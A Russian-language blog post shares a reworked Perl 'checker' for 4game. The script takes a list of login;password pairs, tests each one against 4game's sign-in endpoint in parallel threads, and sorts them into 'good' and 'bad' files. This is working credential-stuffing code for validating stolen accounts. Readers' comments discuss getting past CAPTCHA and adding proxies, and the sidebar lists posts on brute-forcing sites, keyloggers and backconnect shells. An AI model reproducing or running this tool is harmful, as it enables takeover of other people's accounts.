c8be8f7808918e0a87142ad74b734964 Перепилил чекер для 4game
Оригинал написан человеком под ником dpe_x.
Посмотрев нарекания на его чекер, решил перепилить его на свой лад =)

Изменения:
[+] Зделал свою функцыю авторизации.
[+] Теперь список читается с жосткого диска по мере чекинга, а не весь файл при старте как было.
[-] Выпилил функцию проврки баланса, по той причине что некогда было переписать её (возможно допишу если кому нужно)

Скрипт:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#!/usr/bin/perl -w
#(c) dpe
#mod by SHok

###
use strict;
use LWP::UserAgent;
use threads;
use Fcntl ':flock';
###

#######################Config##################################

my $accs = 'accs.txt'; #Файл с аккаунтами вида (акк;пасс)
my $acc_delm = ';';    #разделитель
my $threads = 5;      #кол-во потоков
my $good = 'good.txt'; #файл с гудами
my $bad = 'bad.txt';   #файл с бэдами

###############################################################

open (ACCS, $accs) or die "Cen't open file ".$accs." [ ".$!." ]\n";

threads->new(\&main) for 1 .. $threads;
$_->join for threads->list;

close(ACCS);

sub main {
    while() {
        chomp;
        my ($login, $pass) = split $acc_delm, $_;
        my $ua = LWP::UserAgent->new;
        $ua->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19");

        unless (check($ua,$login,$pass)){
            print "[BAD] $login;$pass\n";
            wf($bad, "$login;$pass\n");
        } else {
            print "[GOOD] $login;$pass\n";
            wf($good, "$login;$pass\n");
        }
    }
}

sub wf
{
    open my $dat, '>>', $_[0] or die "\nCould not open $_[0] file!\n";
    flock $dat, LOCK_EX;
    print $dat $_[1];
    flock $dat, LOCK_UN;
    close $dat;
}

sub check {
    my ($ua, $login, $pass) = @_;
   
    my $req = $ua->get('https://4game.ru/widgetjson/signin?&loginField='.$login.'&passwordField='.$pass
              .'&serviceId=0&jsonp&callback=jsonp1309663872143');
   
    if (my ($inn_user, $inn_user_p) = ($req->content) =~ /"cookie":{"inn-user":"(.*)","inn-user-p":(\d+),"cookieDomain":".*"}/i) {
        return 1;
    } else {
        return undef;
    }
}

tt twitter big4 Перепилил чекер для 4game tt digg big4 Перепилил чекер для 4game tt facebook big4 Перепилил чекер для 4game tt gmail big4 Перепилил чекер для 4game tt myspace big4 Перепилил чекер для 4game tt reddit big4 Перепилил чекер для 4game

Комментарии (8) на “Перепилил чекер для 4game”

  • Евгений:

    не работает данный скрипт есть ошибки автор ты сам его проверял?

    Ответить
    • SHok:

      Он работает.
      Проблемм а в том что его движок сайта изковеркал.
      Сейчас поправлю.

      Ответить
  • Panterr63:

    Только не движок, а колорайзер. :mrgreen:

    Ответить
  • SyavaK:

    а как нащет капчи ? ведь после 3 неправельно введенных логинов или паролей форгейм просит ввести капчу
    а тут смотрю нет поддержки прокси

    Ответить
    • SHok:

      Ну я чекал порядка 20-30 акков, и не каких проблем не было.
      Попробуйте прочекать, если будет ругаться на всё бедами, то отпишитесь, попробую добавить антикапчу.

      Ответить
  • Cerfcerf:

    Как скачать???

    Ответить
  • SHok:

    А качать незачем ;-)
    Прочти поймёшь как запустить:
    http://nig.org.ua/2011/10/kak-zapuskat-perl-skripty-pod-windows/

    Ответить

Оставить комментарий

CAPTCHA изображение
Обновить изображение
*

RSS-подписка NIG Twitter-подписка NIG

Метки
Друзья
Блог линуксоида Программы для диагностики компьютера
Супер Pixel
Убивалка флешаБэкконект шелл. Часть вторая.Бэкконект шелл. Начало.НАМ для деления чиселПростая арифметикаПередача файлов. Часть третья. Клиент.Dll injectionСканер портовКодировка текста в BMPРухнул на два дняПередача файлов. Часть вторая. Сервер.Поворот и BMPCRC32 суммаBMP форматфайловые вирусыассемблер, строкиАссемблер и матрицапримеры ассемблерМногопоточное программированиеАрхитектура клиент — серверРаздача ICQПишем шуткупишем паукаПривет от ДжеймсаОбход firewallЗагрузка картинок на Gyazo, прямо из ThunarКейлоггер 3Плюшки в контекстном меню Thunarc по сетиКейлоггер 2КейлоггерСкачать Ассемблер!VirusCheckerОтморозки мешают жить ?! Не проблемма !Cкрипты для взлома аккаунтов QIPWinAPI. Работа с файлами. Часть третья. ЧтениеDlink exploitБрут сайта etxt.ruКрасивая раскладка клавиатуры в GnomeМои безделушки на PerlКак запускать Perl скрипты под WindowsБрутфорс партнёрки ZipCoinПарсер upwap.ruИзменения в блогеЧудо ЗаливалкаСкрипт для загрузки файлов на Zalil.ruЯндекс «чоткий» поисковик!WinAPI. Работа с файлами. Часть вторая. ЗаписьWinAPI. Работа с файлами. Часть первая. ПоискПолучение MD5 хеша средствами C++Что нам стоить letitfile.com забрутить?WarCraft III запуск под LinuxЭнтропия файлаWinsock и C++. Мини прокси. Часть |\\/. Завершающая.Перепилил чекер для 4gameЧекер акаунтов YoupornCMailSend v 1.1. Отправка почы без проблемСлучайные числаWinsock и C++. Часть |||. smtp монстр.Брутфорс LetitFile.comИспользование X-Forwarded-For, для обмана веб-сервера, подмена IP подручными средствамиДело было вечером, делать было нечего…Мысли о аудио сервереПарсер ников из твиттераКонец школоло…Perl+Linux. Заметка первая (Удобный Paste bin).Бэкконект шелл.E-MAIL + winsocket + Cpp. Сложно?winsock и C++. Часть ||. Атака клоунов.C++ резолвинг адресаPerl, анализ HTML кода и определение CMSМатематика в C++winsock и C++